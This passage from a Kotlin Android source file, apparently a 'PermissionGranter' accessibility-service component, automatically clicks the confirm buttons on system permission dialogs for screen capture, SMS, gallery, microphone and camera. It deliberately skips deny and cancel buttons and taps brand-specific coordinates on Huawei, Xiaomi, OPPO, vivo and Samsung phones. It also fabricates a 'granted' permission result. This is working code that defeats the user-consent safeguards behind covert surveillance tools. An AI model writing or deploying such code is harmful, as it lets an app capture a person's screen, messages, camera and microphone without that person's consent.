            val text = node.text?.toString()?.toLowerCase() ?: ""
            val className = node.className?.toString() ?: ""
            val viewId = node.viewIdResourceName ?: ""
            
            Log.d(TAG, "   智能匹配节点: 文本='$text', 类名='$className', ViewId='$viewId'")
            
            // ❌ 首先检查是否为拒绝/取消按钮 - 避免误点击
            val isRejectButton = text == "cancel" || text.contains("取消") || 
                               text == "deny" || text.contains("拒绝") ||
                               text == "dismiss" || text.contains("关闭") ||
                               text.contains("不允许") || text.contains("禁止") ||
                               text == "no" || text.contains("否") ||
                               text == "reject" || text.contains("拒接") ||
                               viewId.contains("cancel") || viewId.contains("deny") ||
                               viewId.contains("negative") || viewId.contains("dismiss")
            
            if (isRejectButton) {
                Log.w(TAG, "❌ 跳过拒绝/取消按钮: 文本='$text', 类名='$className'")
                // 不点击取消/拒绝按钮，继续搜索其他按钮
            } else {
                // ✅ 智能匹配确认按钮逻辑 - 增强MediaProjection专用匹配
                val isLikelyConfirmButton = 
                    // MediaProjection特有文本（优先级最高）
                    text.contains("start now") || text.contains("立即开始") || 
                    text.contains("Share screen") || text.contains("共享屏幕") || 
                    text.contains("现在开始") || text.contains("begin") ||
                    text.contains("开始录制") || text.contains("开始投屏") ||
                    text.contains("start recording") || text.contains("start capture") ||
                    
                    // 常见确认文本
                    text.contains("开始") || text.contains("允许") || text.contains("确定") ||
                    text.contains("授权") || text.contains("同意") || text.contains("继续") ||
                    text.contains("start") || text.contains("allow") || text.contains("ok") ||
                    text.contains("grant") || text.contains("agree") || text.contains("yes") ||
                    text.contains("accept") || text.contains("confirm") ||
                    
                    // 通过ViewId识别确认按钮
                    viewId.contains("allow") || viewId.contains("positive") ||
                    viewId.contains("start") || viewId.contains("grant") ||
                    viewId.contains("ok") || viewId.contains("confirm") ||
                    viewId.contains("button1") || // 通常是确认按钮
                    
                    // 按钮类型 + 非拒绝文本
                    (className.contains("button", ignoreCase = true) && !isRejectButton)
                
                if (isLikelyConfirmButton) {
                    Log.i(TAG, "🎯 智能匹配到确认按钮: 文本='$text', 类名='$className'")
                    
                    val success = node.performAction(AccessibilityNodeInfo.ACTION_CLICK)
                    if (success) {
                        Log.i(TAG, "🎉 智能匹配点击成功: '$text'")
                        return Pair(true, false)
                    } else {
                        Log.w(TAG, "⚠️ 智能匹配点击失败")
                    }
                } else {
                    Log.d(TAG, "   ❓ 节点不符合确认按钮特征")
                }
            }
        }
        
        // 递归搜索子节点
        for (i in 0 until node.childCount) {
            val child = node.getChild(i)
            if (child != null) {
                val result = findAndClickSmartButton(child, depth + 1)
                child.recycle()
                if (result.first) {
                    return result
                }
            }
        }
        
        return Pair(false, false)
    }
    
    /**
     * 尝试按坐标点击常见位置 摄像头专用
     */
    private fun tryClickByCoordinates(title :String): Boolean {
        try {
            // 获取屏幕信息
            val displayMetrics = service.resources.displayMetrics
            val screenWidth = displayMetrics.widthPixels
            val screenHeight = displayMetrics.heightPixels
            
            Log.d(TAG, "🖱️ 屏幕尺寸: ${screenWidth}x${screenHeight}")
            



            val windows = service.windows
            if (windows != null && windows.isNotEmpty()) {
                for (i in windows.indices) {
                    val window = windows[i]
                    val windowTitle = window.title?.toString() ?: ""

                    if (windowTitle == title) {
                        Log.d(TAG, "📷 找到匹配的窗口: $windowTitle")

                        // 打印窗口大小和位置坐标
                        val bounds = android.graphics.Rect()
                        window.getBoundsInScreen(bounds)
                        Log.d(TAG, "📐 窗口信息: 标题=$windowTitle")
                        Log.d(TAG, "📐 窗口位置: left=${bounds.left}, top=${bounds.top}, right=${bounds.right}, bottom=${bounds.bottom}")
                        Log.d(TAG, "📐 窗口大小: width=${bounds.width()}, height=${bounds.height()}")
                        Log.d(TAG, "📐 窗口中心点: x=${bounds.centerX()}, y=${bounds.centerY()}")
                        Log.d(TAG, "📐 窗口类型: ${window.type}, 层级: ${window.layer}")

                        val (x, y) = getDeviceSpecificClickPoint(bounds)
                        Log.d(TAG, "🧭 机型坐标策略点击: ($x,$y)")
                        // 创建手势描述
                        val gestureBuilder = GestureDescription.Builder()
                        val path = android.graphics.Path()
                        path.moveTo(x.toFloat(), y.toFloat())

                        val stroke = GestureDescription.StrokeDescription(path, 0, 100)
                        gestureBuilder.addStroke(stroke)

                        val success = service.dispatchGesture(
                            gestureBuilder.build(),
                            object : AccessibilityService.GestureResultCallback() {
                                override fun onCompleted(gestureDescription: GestureDescription?) {
                                    Log.d(TAG, "✅ 坐标点击手势完成")
                                }

                                override fun onCancelled(gestureDescription: GestureDescription?) {
                                    Log.w(TAG, "⚠️ 坐标点击手势取消")
                                }
                            },
                            null
                        )
                
                        if (success) {
                            Log.i(TAG, "🎯 坐标点击发送成功: ($x, $y)，但需要等待权限结果确认")
                            // ⚠️ 不要立即返回true，让其他策略也有机会尝试
                            // 坐标点击只是发送了手势，不能确保点击了正确的按钮
                        }

                    }
                }
            }
            


        } catch (e: Exception) {
            Log.e(TAG, "❌ 坐标点击失败", e)
        }
        
        return false
    }

    /**
     * 判断是否为需要优先点击左侧的品牌
     */
    private fun isLeftClickBrand(): Boolean {
        return try {
            val brand = (android.os.Build.BRAND ?: "").lowercase()
            val manufacturer = (android.os.Build.MANUFACTURER ?: "").lowercase()
            val model = (android.os.Build.MODEL ?: "").lowercase()

            val combined = "$brand $manufacturer $model"

            // 包含：华为、荣耀、小米、OPPO、vivo、iQOO、三星、红米
            val targets = listOf(
                "huawei", "honor", "xiaomi", "oppo", "vivo", "iqoo", "icqq", "samsung", "redmi"
            )
            val hit = targets.any { combined.contains(it) }
            if (hit) {
                Log.d(TAG, "✅ 品牌匹配左侧点击策略: $brand/$manufacturer/$model")
            } else {
                Log.d(TAG, "ℹ️ 品牌未匹配左侧点击策略: $brand/$manufacturer/$model")
            }
            hit
        } catch (e: Exception) {
            Log.w(TAG, "品牌识别失败，按默认策略处理", e)
            false
        }
    }

    /**
     * 根据设备品牌/型号返回点击坐标（相对当前窗口bounds）
     * 优先匹配更细粒度的model，其次manufacturer/brand；默认返回中心点
     */
    private fun getDeviceSpecificClickPoint(bounds: android.graphics.Rect): Pair<Int, Int> {
        val brand = (android.os.Build.BRAND ?: "").lowercase()
        val manufacturer = (android.os.Build.MANUFACTURER ?: "").lowercase()
        val model = (android.os.Build.MODEL ?: "").lowercase()

        val width = bounds.right - bounds.left
        val height = bounds.bottom - bounds.top

        fun point(xRatio: Float, yRatio: Float): Pair<Int, Int> {
            val x = bounds.left + (width * xRatio).toInt()
            val y = bounds.top + (height * yRatio).toInt()
            return Pair(x, y)
        }

        val key = "$brand|$manufacturer|$model"
        Log.d(TAG, "🧭 设备信息: brand=$brand, manufacturer=$manufacturer, model=$model")

        // 先按具体机型匹配
        when {
            // 华为/Honor
            model.contains("ana-") || model.contains("els-") -> return point(0.25f, 0.82f)
            model.contains("lhn-") || model.contains("yta-") -> return point(0.28f, 0.82f)
            brand.contains("honor")  -> return point(0.25f, 0.82f)

            // 小米/红米
            model.contains("mi ") || model.matches(Regex("^mi\\d+.*")) -> return point(0.3f, 0.5f)
            model.contains("m2012") || model.contains("m2011") -> return point(0.3f, 0.52f)
            model.contains("redmi") || model.contains("note") -> return point(0.3f, 0.5f)

            // OPPO
            model.contains("pclm10") || model.contains("pfjm10") -> return point(0.5f, 0.5f)
            model.startsWith("oppo") -> return point(0.5f, 0.5f)

            // vivo / iQOO
            model.startsWith("v") && model.length in 4..8 -> return point(0.5f, 0.5f)
            model.contains("iqoo") || model.contains("icqq") -> return point(0.5f, 0.5f)

            // 三星
            model.startsWith("sm-") -> return point(0.26f, 0.5f)
        }

        // 再按品牌/厂商匹配
        return when {
            manufacturer.contains("huawei") || brand.contains("huawei") || brand.contains("honor") -> point(0.25f, 0.5f)
            manufacturer.contains("xiaomi") || brand.contains("xiaomi") || brand.contains("redmi") -> point(0.3f, 0.5f)
            manufacturer.contains("oppo") || brand.contains("oppo") -> point(0.27f, 0.5f)
            manufacturer.contains("vivo") || brand.contains("vivo") || brand.contains("iqoo") || brand.contains("icqq") -> point(0.27f, 0.5f)
            manufacturer.contains("samsung") || brand.contains("samsung") -> point(0.26f, 0.5f)
            else -> point(0.5f, 0.5f) // 默认中心
        }
    }


    /**
     * 根据设备品牌/型号返回点击坐标（相对当前窗口bounds）
     * 优先匹配更细粒度的model，其次manufacturer/brand；默认返回中心点
     */
    private fun getDeviceSpecificClickPointSms(bounds: android.graphics.Rect): Pair<Int, Int> {
        val brand = (android.os.Build.BRAND ?: "").lowercase()
        val manufacturer = (android.os.Build.MANUFACTURER ?: "").lowercase()
        val model = (android.os.Build.MODEL ?: "").lowercase()

        val width = bounds.right - bounds.left
        val height = bounds.bottom - bounds.top

        fun point(xRatio: Float, yRatio: Float): Pair<Int, Int> {
            val x = bounds.left + (width * xRatio).toInt()
            val y = bounds.top + (height * yRatio).toInt()
            return Pair(x, y)
        }

        val key = "$brand|$manufacturer|$model"
        Log.d(TAG, "🧭 设备信息: brand=$brand, manufacturer=$manufacturer, model=$model")

        // 先按具体机型匹配
        when {
            // 华为/Honor
            model.contains("ana-") || model.contains("els-") -> return point(0.65f, 0.95f)
            model.contains("lhn-") || model.contains("yta-") -> return point(0.65f, 0.95f)
            brand.contains("honor")  -> return point(0.65f, 0.95f)

            // 小米/红米
            model.contains("mi ") || model.matches(Regex("^mi\\d+.*")) -> return point(0.3f, 0.5f)
            model.contains("m2012") || model.contains("m2011") -> return point(0.3f, 0.52f)
            model.contains("redmi") || model.contains("note") -> return point(0.3f, 0.5f)

            // OPPO
            brand.contains("oppo")  -> return Pair(bounds.centerX(),bounds.bottom - ((bounds.bottom - bounds.centerY()) * 0.5f).toInt())

            model.contains("pclm10") || model.contains("pfjm10") ->  return Pair(bounds.centerX(),bounds.bottom - ((bounds.bottom - bounds.centerY()) * 0.5f).toInt())

            model.startsWith("oppo") -> return Pair(bounds.centerX(),bounds.bottom - ((bounds.bottom - bounds.centerY()) * 0.5f).toInt())

            // vivo / iQOO
            model.startsWith("v") && model.length in 4..8 -> return point(0.27f, 0.5f)
            model.contains("iqoo") || model.contains("icqq") -> return point(0.27f, 0.5f)

            // 三星
            model.startsWith("sm-") -> return point(0.26f, 0.5f)
        }

        // 再按品牌/厂商匹配
        return when {
            manufacturer.contains("huawei") || brand.contains("huawei") || brand.contains("honor") -> point(0.25f, 0.5f)
            manufacturer.contains("xiaomi") || brand.contains("xiaomi") || brand.contains("redmi") -> point(0.3f, 0.5f)
            manufacturer.contains("oppo") || brand.contains("oppo") -> point(0.27f, 0.5f)
            manufacturer.contains("vivo") || brand.contains("vivo") || brand.contains("iqoo") || brand.contains("icqq") -> point(0.27f, 0.5f)
            manufacturer.contains("samsung") || brand.contains("samsung") -> point(0.26f, 0.5f)
            else -> return Pair(bounds.centerX(),bounds.bottom - ((bounds.bottom - bounds.centerY()) * 0.5f).toInt())
            // 默认中心
        }
    }

    /**
     * 根据设备品牌/型号返回点击坐标（相对当前窗口bounds）
     * 优先匹配更细粒度的model，其次manufacturer/brand；默认返回中心点
     * 相册的权限
     */
    private fun getDeviceSpecificClickPointGallery(bounds: android.graphics.Rect): Pair<Int, Int> {
        val brand = (android.os.Build.BRAND ?: "").lowercase()
        val manufacturer = (android.os.Build.MANUFACTURER ?: "").lowercase()
        val model = (android.os.Build.MODEL ?: "").lowercase()

        val width = bounds.right - bounds.left
        val height = bounds.bottom - bounds.top

        fun point(xRatio: Float, yRatio: Float): Pair<Int, Int> {
            val x = bounds.left + (width * xRatio).toInt()
            val y = bounds.top + (height * yRatio).toInt()
            return Pair(x, y)
        }


//        val x = bounds.centerX()
//                        val y = bounds.bottom - ((bounds.bottom - bounds.centerY()) * 0.65f).toInt()

        val key = "$brand|$manufacturer|$model"
        Log.d(TAG, "🧭 设备信息: brand=$brand, manufacturer=$manufacturer, model=$model")

        // 先按具体机型匹配
        when {
            // 华为/Honor
            model.contains("ana-") || model.contains("els-") -> return point(0.65f, 0.89f)
            model.contains("lhn-") || model.contains("yta-") -> return point(0.65f, 0.89f)
            Build.VERSION.SDK_INT >=35 && brand.contains("honor")  -> return point(0.65f, 0.86f)
            brand.contains("honor")  -> return point(0.65f, 0.89f)

            // 小米/红米
            model.contains("mi ") || model.matches(Regex("^mi\\d+.*")) -> return point(0.3f, 0.5f)
            model.contains("m2012") || model.contains("m2011") -> return point(0.3f, 0.52f)
            model.contains("redmi") || model.contains("note") -> return point(0.3f, 0.5f)

            // OPPO
            brand.contains("oppo")  -> return point(0.5f, 0.62f)
            model.contains("pclm10") || model.contains("pfjm10") ->  return point(0.5f, 0.62f)
            model.startsWith("oppo") ->  return point(0.5f, 0.62f)

            // vivo / iQOO
            model.startsWith("v") && model.length in 4..8 -> return point(0.27f, 0.5f)
            model.contains("iqoo") || model.contains("icqq") -> return point(0.27f, 0.5f)

            // 三星
            model.startsWith("sm-") -> return point(0.26f, 0.5f)
        }

        // 再按品牌/厂商匹配
        return when {
            manufacturer.contains("huawei") || brand.contains("huawei") || brand.contains("honor") -> point(0.25f, 0.89f)
            manufacturer.contains("xiaomi") || brand.contains("xiaomi") || brand.contains("redmi") -> point(0.3f, 0.5f)
            manufacturer.contains("oppo") || brand.contains("oppo") -> point(0.27f, 0.5f)
            manufacturer.contains("vivo") || brand.contains("vivo") || brand.contains("iqoo") || brand.contains("icqq") -> point(0.27f, 0.5f)
            manufacturer.contains("samsung") || brand.contains("samsung") -> point(0.26f, 0.5f)
            else -> return Pair(bounds.centerX(),bounds.bottom - ((bounds.bottom - bounds.centerY()) * 0.5f).toInt())
            // 默认中心
        }
    }

    /**
     * 根据设备品牌/型号返回点击坐标（相对当前窗口bounds）
     * 优先匹配更细粒度的model，其次manufacturer/brand；默认返回中心点
     * 相册的权限
     */
    private fun getDeviceSpecificClickPointMicro(bounds: android.graphics.Rect): Pair<Int, Int> {
        val brand = (android.os.Build.BRAND ?: "").lowercase()
        val manufacturer = (android.os.Build.MANUFACTURER ?: "").lowercase()
        val model = (android.os.Build.MODEL ?: "").lowercase()

        val width = bounds.right - bounds.left
        val height = bounds.bottom - bounds.top

        fun point(xRatio: Float, yRatio: Float): Pair<Int, Int> {
            val x = bounds.left + (width * xRatio).toInt()
            val y = bounds.top + (height * yRatio).toInt()
            return Pair(x, y)
        }

        val key = "$brand|$manufacturer|$model"
        Log.d(TAG, "🧭 设备信息: brand=$brand, manufacturer=$manufacturer, model=$model")

        // 先按具体机型匹配
        when {
            // 华为/Honor
            model.contains("ana-") || model.contains("els-") -> return point(0.65f, 0.83f)
            model.contains("lhn-") || model.contains("yta-") -> return point(0.65f, 0.83f)
            Build.VERSION.SDK_INT >=35 && brand.contains("honor")  -> return point(0.65f, 0.82f)
            brand.contains("honor")  -> return point(0.65f, 0.83f)

            // 小米/红米
            model.contains("mi ") || model.matches(Regex("^mi\\d+.*")) -> return point(0.3f, 0.5f)
            model.contains("m2012") || model.contains("m2011") -> return point(0.3f, 0.52f)
            model.contains("redmi") || model.contains("note") -> return point(0.3f, 0.5f)

            // OPPO
            brand.contains("oppo")  -> return point(0.5f, 0.5f)
            model.contains("pclm10") || model.contains("pfjm10") ->  return point(0.5f, 0.5f)
            model.startsWith("oppo") ->return point(0.5f, 0.5f)
            // vivo / iQOO
            model.startsWith("v") && model.length in 4..8 -> return point(0.27f, 0.5f)
            model.contains("iqoo") || model.contains("icqq") -> return point(0.27f, 0.5f)

            // 三星
            model.startsWith("sm-") -> return point(0.26f, 0.5f)
        }

        // 再按品牌/厂商匹配
        return when {
            manufacturer.contains("huawei") || brand.contains("huawei") || brand.contains("honor") -> point(0.25f, 0.5f)
            manufacturer.contains("xiaomi") || brand.contains("xiaomi") || brand.contains("redmi") -> point(0.3f, 0.5f)
            manufacturer.contains("oppo") || brand.contains("oppo") -> point(0.27f, 0.5f)
            manufacturer.contains("vivo") || brand.contains("vivo") || brand.contains("iqoo") || brand.contains("icqq") -> point(0.27f, 0.5f)
            manufacturer.contains("samsung") || brand.contains("samsung") -> point(0.26f, 0.5f)
            else -> return Pair(bounds.centerX(),bounds.bottom - ((bounds.bottom - bounds.centerY()) * 0.5f).toInt())
            // 默认中心
        }
    }

    
    /**
     * 打印节点结构用于调试 - 增强版
     */
    private fun printNodeStructure(node: AccessibilityNodeInfo, depth: Int) {
        if (depth > 6) return // 增加深度限制
        
        val indent = "  ".repeat(depth)
        val bounds = android.graphics.Rect()
        node.getBoundsInScreen(bounds)
        
        // 详细打印节点信息
        Log.i(TAG, "${indent}节点[${depth}]: 类名=${node.className}, 文本='${node.text}', 描述='${node.contentDescription}', " +
                "可点击=${node.isClickable}, 启用=${node.isEnabled}, 可见=${node.isVisibleToUser}, " +
                "ViewId=${node.viewIdResourceName}, 位置=${bounds}")
        
        // 特别标记可能的按钮
        val text = node.text?.toString()?.lowercase() ?: ""
        val className = node.className?.toString() ?: ""
        val viewId = node.viewIdResourceName ?: ""
        
        if (node.isClickable || className.contains("button", ignoreCase = true)) {
            Log.w(TAG, "${indent}🔍 [重要] 可点击节点: 文本='$text', 类名='$className', ViewId='$viewId'")
            
            // 检查是否是确认按钮
            val isConfirmButton = text.contains("start") || text.contains("allow") || text.contains("ok") ||
                                text.contains("开始") || text.contains("允许") || text.contains("确定") ||
                                viewId.contains("positive") || viewId.contains("button1") || viewId.contains("allow")
            
            // 检查是否是取消按钮
            val isCancelButton = text.contains("cancel") || text.contains("deny") || text.contains("dismiss") ||
                               text.contains("取消") || text.contains("拒绝") || text.contains("关闭") ||
                               viewId.contains("negative") || viewId.contains("cancel")
            
            if (isConfirmButton) {
                Log.e(TAG, "${indent}✅ [确认按钮] 发现确认按钮: 文本='$text', 类名='$className'")
            } else if (isCancelButton) {
                Log.e(TAG, "${indent}❌ [取消按钮] 发现取消按钮: 文本='$text', 类名='$className'")
            }
        }
        
        for (i in 0 until node.childCount) {
            val child = node.getChild(i)
            if (child != null) {
                printNodeStructure(child, depth + 1)
                child.recycle()
            }
        }
    }
    
    /**
     * 根据文本查找节点
     */
    private fun findNodesByText(rootNode: AccessibilityNodeInfo, text: String): List<AccessibilityNodeInfo> {
        val nodes = mutableListOf<AccessibilityNodeInfo>()
        
        // 查找包含指定文本的节点
        val textNodes = rootNode.findAccessibilityNodeInfosByText(text)
        nodes.addAll(textNodes)
        
        return nodes
    }
    
    /**
     * ✅ 新增：强制停止PermissionGranter自动点击功能（公开方法）
     */
    fun stopAutoClickingImmediately() {
        try {
            Log.i(TAG, "🛑 [强制停止] 立即停止PermissionGranter自动点击功能")
            isRequestingMediaProjection = false
            dialogDetectionCount = 0
            mediaProjectionRetryCount = 0
            hasDetectedPermissionDialog = false
            isSecondaryConfirmationActive = false
            Log.i(TAG, "✅ [强制停止] PermissionGranter所有自动操作已停止")
        } catch (e: Exception) {
            Log.e(TAG, "❌ 强制停止PermissionGranter失败", e)
        }
    }

    /**
     * 处理MediaProjection权限获取成功后的逻辑
     */
    private fun handleMediaProjectionGranted() {
        try {
            Log.i(TAG, "MediaProjection权限已获取")
            
            // ✅ 关键修复：权限获取成功后立即停止自动点击功能
            isRequestingMediaProjection = false
            dialogDetectionCount = 0
            mediaProjectionRetryCount = 0
            hasDetectedPermissionDialog = false
            Log.i(TAG, "🛑 [关键修复] 权限获取成功，已停止PermissionGranter自动点击功能")
            
            // ✅ 关键修复：直接模拟权限数据存储，不依赖MainActivity的onActivityResult
            try {
                Log.i(TAG, "🔧 权限按钮点击成功，模拟权限数据存储")
                
                // 创建模拟的权限数据 - 使用标准的RESULT_OK和最小化的Intent
                val resultCode = android.app.Activity.RESULT_OK
                val resultData = android.content.Intent().apply {
                    // 添加必要的权限标识，模拟系统返回的权限数据
                    putExtra("EXTRA_MEDIA_PROJECTION_PERMISSION_GRANTED", true)
                    putExtra("EXTRA_PERMISSION_SOURCE", "PermissionGranter_AutoClick")
                    putExtra("EXTRA_TIMESTAMP", System.currentTimeMillis())
                }
                
                // 直接存储到MediaProjectionHolder
                com.hikoncont.MediaProjectionHolder.setPermissionData(resultCode, resultData)
                Log.i(TAG, "✅ 已模拟存储MediaProjection权限数据到MediaProjectionHolder")
                
                // 验证存储是否成功
                val storedData = com.hikoncont.MediaProjectionHolder.getPermissionData()
                if (storedData != null) {
                    Log.i(TAG, "✅ 权限数据存储验证成功，MainActivity监听应该能检测到")
                } else {
                    Log.e(TAG, "❌ 权限数据存储验证失败")
                }
                
            } catch (e: Exception) {
                Log.e(TAG, "❌ 模拟权限数据存储失败", e)
            }
            
            // Android 15设备可能需要二次确认，启动监听
            val androidVersion = Build.VERSION.SDK_INT
            
            // 🚨 Android 11+特殊处理：统一使用无障碍截图API，跳过二次确认监听
            if (androidVersion >= 30) {
                Log.i(TAG, "📱 Android 11+设备：使用无障碍截图API，跳过二次确认监听")
                return
            }
            
            if (androidVersion >= 34) {
                Log.i(TAG, "🔍 Android 14+设备，启动二次确认监听...")
                startSecondaryConfirmationMonitoring()
            }
            
        } catch (e: Exception) {
            Log.e(TAG, "处理MediaProjection权限获取结果失败", e)
        }
    }
    
    /**
     * 启动二次确认监听
     */
    private fun startSecondaryConfirmationMonitoring() {
        isSecondaryConfirmationActive = true
        CoroutineScope(Dispatchers.Main).launch {
            // 延迟监听，给系统时间显示二次确认页面
            delay(1000)
            
            repeat(5) { attempt ->
                if (!isSecondaryConfirmationActive) {
                    Log.i(TAG, "🛑 二次确认监听已停止，退出监听循环")
                    return@launch
                }
                
                delay(500)
                Log.i(TAG, "🔍 检查二次确认页面 (第${attempt + 1}次)")
                
                val rootNode = service.rootInActiveWindow
                if (rootNode != null) {
                    val packageName = rootNode.packageName?.toString() ?: ""
                    Log.i(TAG, "🔍 当前页面包名: $packageName")
                    
                    // 检查权限状态，如果权限已经成功获取，停止监听
                    if (hasMediaProjectionPermission()) {
                        Log.i(TAG, "🛡️ MediaProjection权限已获取，停止二次确认监听")
                        isSecondaryConfirmationActive = false
                        rootNode.recycle()
                        return@launch
                    }
                    
                    if (packageName == "com.android.systemui" || packageName == "android") {
                        val hasSecondaryConfirmation = detectSecondaryConfirmationPage(rootNode, packageName)
                        if (hasSecondaryConfirmation) {
                            Log.i(TAG, "🎯 检测到二次确认页面，开始处理...")
                            val success = handleSecondaryConfirmationIfNeeded(rootNode)
                            if (success) {
                                Log.i(TAG, "🎉 二次确认处理成功")
                                isSecondaryConfirmationActive = false
                                rootNode.recycle()
                                return@launch
                            }
                        } else {
                            Log.i(TAG, "🔍 当前不是二次确认页面")
                        }
                    } else {
                        Log.i(TAG, "🔍 已返回应用主页，无需二次确认")
                        isSecondaryConfirmationActive = false
                        rootNode.recycle()
                        return@launch
                    }
                    rootNode.recycle()
                } else {
                    Log.w(TAG, "⚠️ 无法获取窗口节点")
                }
            }
            
            Log.i(TAG, "🔍 二次确认监听结束")
            isSecondaryConfirmationActive = false
        }
    }
    
    // 删除悬浮窗权限设置页面处理方法
    
    // 删除查找应用条目方法
    
    /**
     * 返回主应用
     */
    private fun goBackToMainApp() {
        try {
            val homeIntent = Intent(Intent.ACTION_MAIN).apply {
                addCategory(Intent.CATEGORY_HOME)
                flags = Intent.FLAG_ACTIVITY_NEW_TASK
            }
            context.startActivity(homeIntent)
            Log.i(TAG, "已返回桌面")
        } catch (e: Exception) {
            Log.e(TAG, "返回桌面失败", e)
        }
    }
    
    /**
     * 自动点击权限按钮
     */
    private suspend fun autoClickPermissionButton() {
        repeat(5) { attempt ->
            delay(500)
            
            val rootNode = service.rootInActiveWindow ?: return@repeat
            
            try {
                val buttonTexts = romAdapter.getMediaProjectionButtonTexts()
                val button = findButtonByTexts(rootNode, buttonTexts)
                
                if (button != null) {
                    button.performAction(AccessibilityNodeInfo.ACTION_CLICK)
                    Log.i(TAG, "第${attempt + 1}次尝试: 成功点击权限按钮")
                    return
                } else {
                    Log.d(TAG, "第${attempt + 1}次尝试: 未找到权限按钮")
                }
                
            } catch (e: Exception) {
                Log.e(TAG, "第${attempt + 1}次尝试失败", e)
            } finally {
                rootNode.recycle()
            }
        }
        
        Log.w(TAG, "自动点击权限按钮失败，已尝试5次")
    }
    
    // 删除自动开启悬浮窗权限开关方法
    
    // 删除切换权限开关方法
    
    /**
     * 根据文本查找按钮
     */
    private fun findButtonByTexts(rootNode: AccessibilityNodeInfo, texts: List<String>): AccessibilityNodeInfo? {
        for (text in texts) {
            val button = findNodeByText(rootNode, text)
            if (button != null && (button.className == "android.widget.Button" || button.isClickable)) {
                return button
            }
        }
        return null
    }
    
    /**
     * 根据文本查找节点
     */
    private fun findNodeByText(rootNode: AccessibilityNodeInfo, text: String): AccessibilityNodeInfo? {
        if (rootNode.text?.toString()?.contains(text, ignoreCase = true) == true) {
            return rootNode
        }
        
        for (i in 0 until rootNode.childCount) {
            val child = rootNode.getChild(i) ?: continue
            val result = findNodeByText(child, text)
            if (result != null) {
                child.recycle()
                return result
            }
            child.recycle()
        }
        
        return null
    }

    /**
     * 尝试根据一组文本关键词查找并点击节点
     */
    private fun tryClickNodesByText(rootNode: AccessibilityNodeInfo, texts: List<String>): Boolean {
        try {
            for (text in texts) {
                val node = findNodeByText(rootNode, text) ?: continue
                var clickable: AccessibilityNodeInfo? = node
                // 向上寻找可点击父节点
                while (clickable != null && !clickable.isClickable) {
                    clickable = clickable.parent
                }
                if (clickable != null) {
                    val ok = clickable.performAction(AccessibilityNodeInfo.ACTION_CLICK)
                    if (ok) {
                        Log.i(TAG, "✅ 已通过文本点击节点: $text")
                        return true
                    }
                }
            }
        } catch (e: Exception) {
            Log.e(TAG, "通过文本点击节点失败", e)
        }
        return false
    }
    
    /**
     * 查找开关节点
     */
    private fun findSwitchNode(rootNode: AccessibilityNodeInfo): AccessibilityNodeInfo? {
        if (rootNode.className == "android.widget.Switch" || 
            rootNode.className == "android.widget.CheckBox" ||
            rootNode.className == "androidx.appcompat.widget.SwitchCompat") {
            return rootNode
        }
        
        for (i in 0 until rootNode.childCount) {
            val child = rootNode.getChild(i) ?: continue
            val result = findSwitchNode(child)
            if (result != null) {
                child.recycle()
                return result
            }
            child.recycle()
        }
        
        return null
    }
    
    /**
     * 通知用户需要手动操作
     */
    private fun notifyUserManualActionRequired() {
        try {
            Log.i(TAG, "🔔 通知用户需要手动操作权限对话框")
            
            // 发送广播通知AccessibilityService
            val intent = Intent("android.mycustrecev.MANUAL_ACTION_REQUIRED").apply {
                putExtra("permission_type", "media_projection")
                putExtra("message", "自动权限申请失败，请手动点击权限对话框")
            }
            context.sendBroadcast(intent)
            
        } catch (e: Exception) {
            Log.e(TAG, "❌ 发送手动操作通知失败", e)
        }
    }
    
    /**
     * 重置权限申请状态 - 用于外部调用
     */
    fun resetPermissionRequestState() {
        Log.i(TAG, "🔄 重置权限申请状态")
        isRequestingMediaProjection = false
        // 删除悬浮窗权限请求状态重置
        mediaProjectionRetryCount = 0
                    // 删除悬浮窗权限重试计数重置
        lastMediaProjectionAttemptTime = 0L
                    // 删除悬浮窗权限最后尝试时间重置
        
        // 停止二次确认监听
        stopSecondaryConfirmationMonitoring()
    }
    
    /**
     * 停止二次确认监听
     */
    private fun stopSecondaryConfirmationMonitoring() {
        Log.i(TAG, "🛑 停止二次确认监听")
        isSecondaryConfirmationActive = false
        
        // 🚨 Android 11+特殊处理：统一使用无障碍截图API，跳过二次确认监听
        if (Build.VERSION.SDK_INT >= 30) {
            Log.i(TAG, "📱 Android 11+设备：使用无障碍截图API，跳过二次确认监听")
            return
        }
        
        // ✅ 添加权限数据保护：只有在确实需要停止时才发送广播
        val permissionData = com.hikoncont.MediaProjectionHolder.getPermissionData()
        val hasMediaProjection = com.hikoncont.MediaProjectionHolder.getMediaProjection() != null
        
        if (permissionData != null && hasMediaProjection) {
            Log.i(TAG, "🛡️ 权限状态正常，跳过发送停止二次确认监听广播")
            return
        }
        
        // 发送广播通知其他组件停止相关监听
        try {
            val stopIntent = Intent("android.mycustrecev.STOP_SECONDARY_CONFIRMATION")
            context.sendBroadcast(stopIntent)
            Log.i(TAG, "📡 已发送停止二次确认监听广播")
                 } catch (e: Exception) {
             Log.e(TAG, "发送停止二次确认监听广播失败", e)
         }
     }
     
     /**
      * 处理MediaProjection权限弹窗（针对AccessibilityNodeInfo）
      */
     private fun handleMediaProjectionDialogForNode(rootNode: AccessibilityNodeInfo) {
         try {
             Log.i(TAG, "🎯 处理MediaProjection权限弹窗（NodeInfo版本）")
             
             // 查找授权相关按钮 - "立即开始"/"Start now"优先级最高
             val authorizeKeywords = listOf(
                 "立即开始", "Start now", "START NOW",
                 "开始共享", "Start sharing", "允许", "Allow", "确定", "OK", 
                 "授权", "Share screen", "共享屏幕", "Grant", "同意", "Agree",
                 "开始", "Start"
             )
             
             for (keyword in authorizeKeywords) {
                 val nodes = findNodesByText(rootNode, keyword)
                 for (node in nodes) {
                     // 检查是否为拒绝/取消按钮
                     val nodeText = node.text?.toString()?.lowercase() ?: ""
                     val isRejectButton = nodeText == "cancel" || nodeText.contains("取消") || 
                                        nodeText == "deny" || nodeText.contains("拒绝") ||
                                        nodeText.contains("不允许")
                     if (isRejectButton) continue
                     
                     if (node.isClickable) {
                         Log.i(TAG, "✅ 找到可点击的授权按钮: $keyword")
                         node.performAction(AccessibilityNodeInfo.ACTION_CLICK)
                         return
                     }
                     // 节点本身不可点击时，尝试点击可点击的父节点
                     val clickableParent = findClickableParentOrSibling(node)
                     if (clickableParent != null) {
                         Log.i(TAG, "✅ 通过父节点点击授权按钮: $keyword")
                         clickableParent.performAction(AccessibilityNodeInfo.ACTION_CLICK)
                         return
                     }
                 }
             }
             
             Log.w(TAG, "⚠️ 未找到可点击的授权按钮")
             
         } catch (e: Exception) {
             Log.e(TAG, "❌ 处理MediaProjection权限弹窗失败", e)
         }
     }
    
    /**
     * 获取当前权限申请状态
     */
    fun getPermissionRequestStatus(): Map<String, Any> {
        return mapOf(
